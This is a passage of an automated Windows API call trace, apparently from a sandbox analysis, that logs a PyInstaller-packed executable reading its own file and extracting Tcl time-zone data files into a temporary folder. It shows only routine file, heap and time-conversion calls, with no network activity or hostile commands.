GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.812] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.812] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.812] CloseHandle (hObject=0x10c) returned 1 [0038.812] GetLastError () returned 0x0 [0038.812] SetLastError (dwErrCode=0x0) [0038.812] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Godthab") returned 72 [0038.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Godthab" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\godthab"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.812] GetLastError () returned 0x2 [0038.812] SetLastError (dwErrCode=0x2) [0038.812] GetLastError () returned 0x2 [0038.812] SetLastError (dwErrCode=0x2) [0038.812] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Godthab", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Godthab", lpFilePart=0x0) returned 0x47 [0038.812] GetLastError () returned 0x2 [0038.812] SetLastError (dwErrCode=0x2) [0038.813] GetLastError () returned 0x2 [0038.813] SetLastError (dwErrCode=0x2) [0038.813] GetLastError () returned 0x2 [0038.813] SetLastError (dwErrCode=0x2) [0038.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Godthab") returned 72 [0038.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Godthab" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\godthab"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.813] GetFileType (hFile=0x10c) returned 0x1 [0038.813] htonl (hostlong=0x8a1c0000) returned 0x1c8a [0038.813] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.814] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.814] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc8a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc8a, lpOverlapped=0x0) returned 1 [0038.814] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.814] CloseHandle (hObject=0x10c) returned 1 [0038.815] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.816] htonl (hostlong=0x30000000) returned 0x30 [0038.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.816] GetFileType (hFile=0x10c) returned 0x1 [0038.816] htonl (hostlong=0x10d5900) returned 0x590d01 [0038.816] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dbd01, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.816] htonl (hostlong=0xd0070000) returned 0x7d0 [0038.816] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7d0) returned 0x55e278 [0038.816] htonl (hostlong=0xd0070000) returned 0x7d0 [0038.816] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.817] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.817] htonl (hostlong=0x1f270000) returned 0x271f [0038.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x271f) returned 0x561090 [0038.817] htonl (hostlong=0xd0070000) returned 0x7d0 [0038.817] htonl (hostlong=0x1f270000) returned 0x271f [0038.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5637b8 [0038.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5637b8 | out: hHeap=0x530000) returned 1 [0038.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.818] CloseHandle (hObject=0x10c) returned 1 [0038.818] GetLastError () returned 0x0 [0038.818] SetLastError (dwErrCode=0x0) [0038.818] GetLastError () returned 0x0 [0038.818] SetLastError (dwErrCode=0x0) [0038.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.818] GetFileType (hFile=0x10c) returned 0x1 [0038.818] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.818] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.818] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.818] CloseHandle (hObject=0x10c) returned 1 [0038.818] GetLastError () returned 0x0 [0038.818] SetLastError (dwErrCode=0x0) [0038.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.818] GetFileType (hFile=0x10c) returned 0x1 [0038.819] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.819] CloseHandle (hObject=0x10c) returned 1 [0038.819] GetLastError () returned 0x0 [0038.819] SetLastError (dwErrCode=0x0) [0038.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.819] GetFileType (hFile=0x10c) returned 0x1 [0038.819] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.819] CloseHandle (hObject=0x10c) returned 1 [0038.820] GetLastError () returned 0x0 [0038.820] SetLastError (dwErrCode=0x0) [0038.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Goose_Bay") returned 74 [0038.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Goose_Bay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\goose_bay"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.820] GetLastError () returned 0x2 [0038.820] SetLastError (dwErrCode=0x2) [0038.820] GetLastError () returned 0x2 [0038.820] SetLastError (dwErrCode=0x2) [0038.820] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Goose_Bay", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Goose_Bay", lpFilePart=0x0) returned 0x49 [0038.820] GetLastError () returned 0x2 [0038.820] SetLastError (dwErrCode=0x2) [0038.820] GetLastError () returned 0x2 [0038.820] SetLastError (dwErrCode=0x2) [0038.820] GetLastError () returned 0x2 [0038.820] SetLastError (dwErrCode=0x2) [0038.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Goose_Bay") returned 74 [0038.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Goose_Bay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\goose_bay"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.841] GetFileType (hFile=0x10c) returned 0x1 [0038.841] htonl (hostlong=0x1f270000) returned 0x271f [0038.841] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.842] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.842] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71f, lpOverlapped=0x0) returned 1 [0038.842] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.842] CloseHandle (hObject=0x10c) returned 1 [0038.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.843] htonl (hostlong=0x30000000) returned 0x30 [0038.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.843] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.843] GetFileType (hFile=0x10c) returned 0x1 [0038.843] htonl (hostlong=0xd1145900) returned 0x5914d1 [0038.843] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dc4d1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.843] htonl (hostlong=0xbe050000) returned 0x5be [0038.843] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5be) returned 0x550600 [0038.843] htonl (hostlong=0xbe050000) returned 0x5be [0038.843] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.843] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.843] htonl (hostlong=0xe61c0000) returned 0x1ce6 [0038.843] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ce6) returned 0x561090 [0038.843] htonl (hostlong=0xbe050000) returned 0x5be [0038.843] htonl (hostlong=0xe61c0000) returned 0x1ce6 [0038.843] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d80 [0038.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d80 | out: hHeap=0x530000) returned 1 [0038.843] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.844] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.844] CloseHandle (hObject=0x10c) returned 1 [0038.844] GetLastError () returned 0x0 [0038.844] SetLastError (dwErrCode=0x0) [0038.844] GetLastError () returned 0x0 [0038.844] SetLastError (dwErrCode=0x0) [0038.844] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.844] GetFileType (hFile=0x10c) returned 0x1 [0038.844] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.844] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.844] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.844] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.844] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.844] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.844] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.844] CloseHandle (hObject=0x10c) returned 1 [0038.844] GetLastError () returned 0x0 [0038.844] SetLastError (dwErrCode=0x0) [0038.844] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.845] GetFileType (hFile=0x10c) returned 0x1 [0038.845] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.845] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.845] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.845] CloseHandle (hObject=0x10c) returned 1 [0038.845] GetLastError () returned 0x0 [0038.845] SetLastError (dwErrCode=0x0) [0038.845] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.845] GetFileType (hFile=0x10c) returned 0x1 [0038.845] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.845] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: 